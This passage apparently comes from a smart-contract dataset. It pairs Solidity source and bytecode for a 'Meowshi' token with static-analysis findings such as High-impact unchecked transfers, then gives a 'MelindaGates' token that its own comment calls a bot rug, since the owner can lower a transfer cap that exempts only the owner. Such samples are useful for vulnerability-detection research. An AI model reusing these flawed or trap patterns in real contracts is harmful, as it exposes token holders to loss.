balance. /// @return The number of current votes for `account`. function getCurrentVotes(address account) external view returns (uint256) { unchecked {uint256 nCheckpoints = numCheckpoints[account]; return nCheckpoints != 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;} } /// @notice Determine the prior number of votes for an `account` as of a block number. /// @dev Block number must be a finalized block or else this function will revert to prevent misinformation. /// @param account The address of the `account` to check. /// @param blockNumber The block number to get the vote balance at. /// @return The number of votes the `account` had as of the given block. function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256) { require(blockNumber < block.number, 'Meowshi::getPriorVotes: not yet determined'); uint256 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) {return 0;} // @dev First check most recent balance. unchecked {if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {return checkpoints[account][nCheckpoints - 1].votes;} // @dev Next check implicit zero balance. if (checkpoints[account][0].fromBlock > blockNumber) {return 0;} uint256 lower; uint256 upper = nCheckpoints - 1; while (upper != lower) { uint256 center = upper - (upper - lower) / 2; Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else {upper = center - 1;}} return checkpoints[account][lower].votes;} } }
0x608060405234801561001057600080fd5b506004361061018d5760003560e01c80636fcfff45116100e3578063ac9650d81161008c578063d505accf11610066578063d505accf14610443578063dd62ed3e14610456578063e6ff41eb1461048157600080fd5b8063ac9650d8146103fd578063b4b5ea571461041d578063c3cda5201461043057600080fd5b80637ecebe00116100bd5780637ecebe001461038e57806395d89b41146103ae578063a9059cbb146103ea57600080fd5b80636fcfff451461033b57806370a082311461035b578063782d6fe11461037b57600080fd5b806323b872dd11610145578063587cde1e1161011f578063587cde1e146102b85780635c19a95c14610313578063642ed5001461032857600080fd5b806323b872dd14610278578063313ce5671461028b5780633c0adb68146102a557600080fd5b80630cdfebfa116101765780630cdfebfa1461020757806318160ddd1461024e5780631b04a34f1461026557600080fd5b806306fdde0314610192578063095ea7b3146101e4575b600080fd5b6101ce6040518060400160405280600781526020017f4d656f777368690000000000000000000000000000000000000000000000000081525081565b6040516101db919061268c565b60405180910390f35b6101f76101f2366004612385565b610494565b60405190151581526020016101db565b610239610215366004612385565b60056020908152600092835260408084209091529082529020805460019091015482565b604080519283526020830191909152016101db565b61025760005481565b6040519081526020016101db565b610257610273366004612385565b61050e565b6101f76102863660046122e1565b610605565b610293601281565b60405160ff90911681526020016101db565b6102576102b3366004612385565b61079f565b6102ee6102c6366004612295565b60046020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101db565b610326610321366004612295565b610a05565b005b610257610336366004612385565b610a12565b610257610349366004612295565b60066020526000908152604090205481565b610257610369366004612295565b60026020526000908152604090205481565b610257610389366004612385565b610c66565b61025761039c366004612295565b60036020526000908152604090205481565b6101ce6040518060400160405280600481526020017f4d454f570000000000000000000000000000000000000000000000000000000081525081565b6101f76103f8366004612385565b610f1e565b61041061040b366004612405565b610fde565b6040516101db919061260d565b61025761042b366004612295565b6111b3565b61032661043e3660046123ae565b611243565b61032661045136600461231c565b611652565b6102576104643660046122af565b600160209081526000928352604080842090915290825290205481565b61025761048f366004612385565b611abe565b33600081815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104fc9086815260200190565b60405180910390a35060015b92915050565b600061051982611bff565b6040517f97da6d30000000000000000000000000000000000000000000000000000000008152738798249c2e607446efb7ad49ec89dd1865ff4272600482015230602482015273ffffffffffffffffffffffffffffffffffffffff8416604482015260006064820152620186a08304608482015273f5bce5077908a1b7370b9ae04adc565ebd643966906397da6d309060a4016040805180830381600087803b1580156105c557600080fd5b505af11580156105d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105fd9190612574565b509392505050565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff146106a25773ffffffffffffffffffffffffffffffffffffffff841660009081526001602090815260408083203384529091528120805484929061069c90849061275e565b90915550505b73ffffffffffffffffffffffffffffffffffffffff8416600090815260026020526040812080548492906106d790849061275e565b909155505073ffffffffffffffffffffffffffffffffffffffff8084166000818152600260209081526040808320805488019055888516835260049091528082205492825290205461072e92918216911684611c97565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161078d91815260200190565b60405180910390a35060019392505050565b6040517f23b872dd00000000000000000000000000000000000000000000000000000000815233600482015230602482015260448101829052600090736b3595068778dd592e39a122f4f5a5cf09c90fe2906323b872dd90606401602060405180830381600087803b15801561081457600080fd5b505af1158015610828573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084c9190612475565b506040517fa59f3e0c00000000000000000000000000000000000000000000000000000000815260048101839052738798249c2e607446efb7ad49ec89dd1865ff42729063a59f3e0c90602401600060405180830381600087803b1580156108b357600080fd5b505af11580156108c7573d6000803e3d6000fd5b5050505073f5bce5077908a1b7370b9ae04adc565ebd64396673ffffffffffffffffffffffffffffffffffffffff166302b9446c738798249c2e607446efb7ad49ec89dd1865ff4272303061092f738798249c2e607446efb7ad49ec89dd1865ff4272611e4e565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e087901b16815273ffffffffffffffffffffffffffffffffffffffff948516600482015292841660248401529216604482015260648101919091526000608482015260a4015b6040805180830381600087803b1580156109b357600080fd5b505af11580156109c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109eb9190612574565b9150610508905083610a00620186a084612721565b611f59565b610a0f338261202f565b50565b6000610a1d82611bff565b6040517f97da6d30000000000000000000000000000000000000000000000000000000008152738798249c2e607446efb7ad49ec89dd1865ff427260048201523060248201819052604482015260006064820152620186a08304608482015273f5bce5077908a1b7370b9ae04adc565ebd643966906397da6d309060a4016040805180830381600087803b158015610ab457600080fd5b505af1158015610ac8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aec9190612574565b506040517f67dfd4c900000000000000000000000000000000000000000000000000000000815260048101829052909150738798249c2e607446efb7ad49ec89dd1865ff4272906367dfd4c990602401600060405180830381600087803b158015610b5657600080fd5b505af1158015610b6a573d6000803e3d6000fd5b50505050736b3595068778dd592e39a122f4f5a5cf09c90fe273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84610bbc736b3595068778dd592e39a122f4f5a5cf09c90fe2611e4e565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff90921660048301526024820152604401602060405180830381600087803b158015610c2757600080fd5b505af1158015610c3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5f9190612475565b5092915050565b6000438210610cfc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602a60248201527f4d656f777368693a3a6765745072696f72566f7465733a206e6f74207965742060448201527f64657465726d696e65640000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff831660009081526006602052604090205480610d31576000915050610508565b73ffffffffffffffffffffffffffffffffffffffff841660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff850184529091529020548310610de75773ffffffffffffffffffffffffffffffffffffffff841660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff909401835292905220600101549050610508565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600560209081526040808320838052909152902054831015610e29576000915050610508565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82015b818114610ee15773ffffffffffffffffffffffffffffffffffffffff86166000908152600560209081526040808320600286860304850380855290835292819020815180830190925280548083526001909101549282019290925290871415610ec2576020015194506105089350505050565b8051871115610ed357819350610eda565b6001820392505b5050610e4f565b5073ffffffffffffffffffffffffffffffffffffffff85166000908152600560209081526040808320938352929052206001015491505092915050565b33600090815260026020526040812080548391908390610f3f90849061275e565b909155505073ffffffffffffffffffffffffffffffffffffffff8084166000818152600260209081526040808320805488019055338352600490915280822054928252902054610f9492918216911684611c97565b60405182815273ffffffffffffffffffffffffffffffffffffffff84169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016104fc565b60608167ffffffffffffffff811115611020577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561105357816020015b606081526020019060019003908161103e5790505b50905060005b82811015610c5f576000803086868581811061109e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020028101906110b0919061269f565b6040516110be9291906125e1565b600060405180830381855af49150503d80600081146110f9576040519150601f19603f3d011682016040523d82523d6000602084013e6110fe565b606091505b5091509150816111645760448151101561111757600080fd5b600481019050808060200190518101906111319190612495565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf3919061268c565b8084848151811061119e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60209081029190910101525050600101611059565b73ffffffffffffffffffffffffffffffffffffffff8116600090815260066020526040812054806111e557600061123c565b73ffffffffffffffffffffffffffffffffffffffff831660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff850184529091529020600101545b9392505050565b604080518082018252600781527f4d656f777368690000000000000000000000000000000000000000000000000060209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527fb2519001d922cc8f01da040a1ebf40356f395758595af77f4a075390db7ffeeb81840152466060820152306080808301919091528351808303909101815260a0820184528051908301207fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60c083015273ffffffffffffffffffffffffffffffffffffffff8a1660e08301526101008201899052610120808301899052845180840390910181526101408301909452835193909201929092207f19010000000000000000000000000000000000000000000000000000000000006101608401526101628301829052610182830181905290916000906101a201604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa158015611421573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff81166114ef576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f4d656f777368693a3a64656c656761746542795369673a20696e76616c69642060448201527f7369676e617475726500000000000000000000000000000000000000000000006064820152608401610cf3565b73ffffffffffffffffffffffffffffffffffffffff8116600090815260036020526040902080546001810190915589146115ab576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f4d656f777368693a3a64656c656761746542795369673a20696e76616c69642060448201527f6e6f6e63650000000000000000000000000000000000000000000000000000006064820152608401610cf3565b8742111561163b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f4d656f777368693a3a64656c656761746542795369673a207369676e6174757260448201527f65206578706972656400000000000000000000000000000000000000000000006064820152608401610cf3565b611645818b61202f565b505050505b505050505050565b604080518082018252600781527f4d656f777368690000000000000000000000000000000000000000000000000060209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527fb2519001d922cc8f01da040a1ebf40356f395758595af77f4a075390db7ffeeb81840152466060820152306080808301919091528351808303909101815260a08201845280519083012073ffffffffffffffffffffffffffffffffffffffff8b81166000818152600386528681208054600181019091557f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c960c087015260e0860192909252918c1661010085015261012084018b90526101408401526101608084018a9052855180850390910181526101808401909552845194909301939093207f19010000000000000000000000000000000000000000000000000000000000006101a08301526101a282018490526101c2820181905291906101e201604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa158015611855573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff8116611923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f4d656f777368693a3a7065726d69743a20696e76616c6964207369676e61747560448201527f72650000000000000000000000000000000000000000000000000000000000006064820152608401610cf3565b8a73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146119b8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f4d656f777368693a3a7065726d69743a20756e617574686f72697a65640000006044820152606401610cf3565b50505084421115611a4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f4d656f777368693a3a7065726d69743a207369676e617475726520657870697260448201527f65640000000000000000000000000000000000000000000000000000000000006064820152608401610cf3565b73ffffffffffffffffffffffffffffffffffffffff8881166000818152600160209081526040808320948c16808452948252918290208a905590518981527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35050505050505050565b6040517f23b872dd00000000000000000000000000000000000000000000000000000000815233600482015273f5bce5077908a1b7370b9ae04adc565ebd643966602482015260448101829052600090738798249c2e607446efb7ad49ec89dd1865ff4272906323b872dd90606401602060405180830381600087803b158015611b4757600080fd5b505af1158015611b5b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b7f9190612475565b506040517f02b9446c000000000000000000000000000000000000000000000000000000008152738798249c2e607446efb7ad49ec89dd1865ff4272600482015273f5bce5077908a1b7370b9ae04adc565ebd643966602482018190523060448301526064820184905260006084830152906302b9446c9060a40161099a565b3360009081526002602052604081208054839290611c1e90849061275e565b909155505060008054829003815533815260046020526040812054611c5c9173ffffffffffffffffffffffffffffffffffffffff9091169083611c97565b60405181815260009033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cd257508015155b15611e495773ffffffffffffffffffffffffffffffffffffffff831615611d925773ffffffffffffffffffffffffffffffffffffffff83166000908152600660205260408120549081611d26576000611d7d565b73ffffffffffffffffffffffffffffffffffffffff851660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff860184529091529020600101545b9050828103611d8e868484846120e6565b5050505b73ffffffffffffffffffffffffffffffffffffffff821615611e495773ffffffffffffffffffffffffffffffffffffffff82166000908152600660205260408120549081611de1576000611e38565b73ffffffffffffffffffffffffffffffffffffffff841660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff860184529091529020600101545b905082810161164a858484846120e6565b505050565b604080513060248083019190915282518083039091018152604490910182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f70a082310000000000000000000000000000000000000000000000000000000017905290516000918291829173ffffffffffffffffffffffffffffffffffffffff861691611ee091906125f1565b600060405180830381855afa9150503d8060008114611f1b576040519150601f19603f3d011682016040523d82523d6000602084013e611f20565b606091505b5091509150818015611f3457506020815110155b611f3d57600080fd5b80806020019051810190611f51919061255c565b949350505050565b73ffffffffffffffffffffffffffffffffffffffff821660009081526002602052604081208054839290611f8e908490612709565b9250508190555080600080828254611fa69190612709565b909155505073ffffffffffffffffffffffffffffffffffffffff808316600090815260046020526040812054611fdd921683611c97565b60405181815273ffffffffffffffffffffffffffffffffffffffff8316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b73ffffffffffffffffffffffffffffffffffffffff80831660008181526004602052604080822080548686167fffffffffffffffffffffffff0000000000000000000000000000000000000000821681179092559151919094169392849290917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a473ffffffffffffffffffffffffffffffffffffffff8316600090815260026020526040902054611e499082908490611c97565b8215801590612146575073ffffffffffffffffffffffffffffffffffffffff841660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8701845290915290205443145b156121a85773ffffffffffffffffffffffffffffffffffffffff841660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff870184529091529020600101819055612204565b604080518082018252438152602080820184815273ffffffffffffffffffffffffffffffffffffffff88166000818152600584528581208982528452858120945185559151600194850155815260069091529190912090840190555b604080518381526020810183905273ffffffffffffffffffffffffffffffffffffffff8616917fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724910160405180910390a250505050565b803573ffffffffffffffffffffffffffffffffffffffff8116811461227f57600080fd5b919050565b803560ff8116811461227f57600080fd5b6000602082840312156122a6578081fd5b61123c8261225b565b600080604083850312156122c1578081fd5b6122ca8361225b565b91506122d86020840161225b565b90509250929050565b6000806000606084860312156122f5578081fd5b6122fe8461225b565b925061230c6020850161225b565b9150604084013590509250925092565b600080600080600080600060e0888a031215612336578283fd5b61233f8861225b565b965061234d6020890161225b565b9550604088013594506060880135935061236960808901612284565b925060a0880135915060c0880135905092959891949750929550565b60008060408385031215612397578182fd5b6123a08361225b565b946020939093013593505050565b60008060008060008060c087890312156123c6578182fd5b6123cf8761225b565b955060208701359450604087013593506123eb60608801612284565b92506080870135915060a087013590509295509295509295565b60008060208385031215612417578182fd5b823567ffffffffffffffff8082111561242e578384fd5b818501915085601f830112612441578384fd5b81358181111561244f578485fd5b8660208260051b8501011115612463578485fd5b60209290920196919550909350505050565b600060208284031215612486578081fd5b8151801515811461123c578182fd5b6000602082840312156124a6578081fd5b815167ffffffffffffffff808211156124bd578283fd5b818401915084601f8301126124d0578283fd5b8151818111156124e2576124e26127d4565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f01168101908382118183101715612528576125286127d4565b81604052828152876020848701011115612540578586fd5b612551836020830160208801612775565b979650505050505050565b60006020828403121561256d578081fd5b5051919050565b60008060408385031215612586578182fd5b505080516020909101519092909150565b600081518084526125af816020860160208601612775565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b8183823760009101908152919050565b60008251612603818460208701612775565b9190910192915050565b6000602080830181845280855180835260408601915060408160051b8701019250838701855b8281101561267f577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc088860301845261266d858351612597565b94509285019290850190600101612633565b5092979650505050505050565b60208152600061123c6020830184612597565b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe18436030181126126d3578283fd5b83018035915067ffffffffffffffff8211156126ed578283fd5b60200191503681900382131561270257600080fd5b9250929050565b6000821982111561271c5761271c6127a5565b500190565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612759576127596127a5565b500290565b600082821015612770576127706127a5565b500390565b60005b83811015612790578181015183820152602001612778565b8381111561279f576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fdfea264697066735822122086366b01f10ff03c36aa1207d7b578f6b5f086ae819c3071b58080fa5426109e64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
6,956
0x4f6f54aaf77b015f67bf5d67d5baecc6878e5f29
/** *Submitted for verification at Etherscan.io on 2021-05-04 */ // SPDX-License-Identifier: MIT // Contract rugs bots - dont buy pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract MelindaGates is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 1000000e18; string private _name = 'MelindaGates'; string private _symbol = 'MELINDA'; uint8 private _decimals = 18; uint256 public maxTxAmount = 1000000e18; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _mint(_msgSender(), _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(sender != owner() && recipient != owner()) require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount."); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function setMaxTxAmount(uint256 _maxTxAmount) external onlyOwner() { require(_maxTxAmount >= 10000e9 , 'maxTxAmount should be greater than 10000e9'); maxTxAmount = _maxTxAmount; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638c0b5e2211610097578063a9059cbb11610066578063a9059cbb146104ae578063dd62ed3e14610512578063ec28438a1461058a578063f2fde38b146105b857610100565b80638c0b5e22146103755780638da5cb5b1461039357806395d89b41146103c7578063a457c2d71461044a57610100565b8063313ce567116100d3578063313ce5671461028e57806339509351146102af57806370a0823114610313578063715018a61461036b57610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d6105fc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069e565b60405180821515815260200191505060405180910390f35b6101f46106bc565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c6565b60405180821515815260200191505060405180910390f35b61029661079f565b604051808260ff16815260200191505060405180910390f35b6102fb600480360360408110156102c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107b6565b60405180821515815260200191505060405180910390f35b6103556004803603602081101561032957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020